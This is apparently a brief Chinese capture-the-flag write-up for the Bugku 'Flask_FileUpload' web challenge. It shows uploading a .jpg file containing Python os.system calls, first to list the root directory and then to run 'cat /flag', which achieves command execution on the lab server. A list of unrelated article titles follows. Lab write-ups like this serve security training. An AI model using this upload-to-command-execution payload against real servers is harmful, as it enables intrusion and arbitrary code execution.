Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
shmily麻瓜小菜鸡10 分钟前
前端实现图片与PDF文字识别敏感信息打码方案追光者4913 分钟前
我把 55 篇自动化日志翻了一遍：最容易出事的是这 4 个地方2601_9628857214 分钟前
如何用 Python计算 CR能量指标（中间意愿指标）？打工仔折腾 AI16 分钟前
LangChain 工具调用实战：从 Tool 定义到 Agent 执行链路拆解听说66619 分钟前
信息安全工程师 - 第二十三章 云计算安全需求分析与安全保护工程Xudde.21 分钟前
HackMe 靶机渗透测试（Vulnhub Writeup）hhb_61825 分钟前
Flask+SQLite实现用户管理接口全栈练习生26 分钟前
RAG 准确率保障的体系化方案汉堡大王952732 分钟前
单次输出拉到100万Token：拆完 Gemini 4 Argon 的续写协议，才看懂谷歌这7个月在憋什么看浪的路人34 分钟前
第9讲：大模型应用监控与可观测性——OpenTelemetry + Prometheus + Grafana 全链路追踪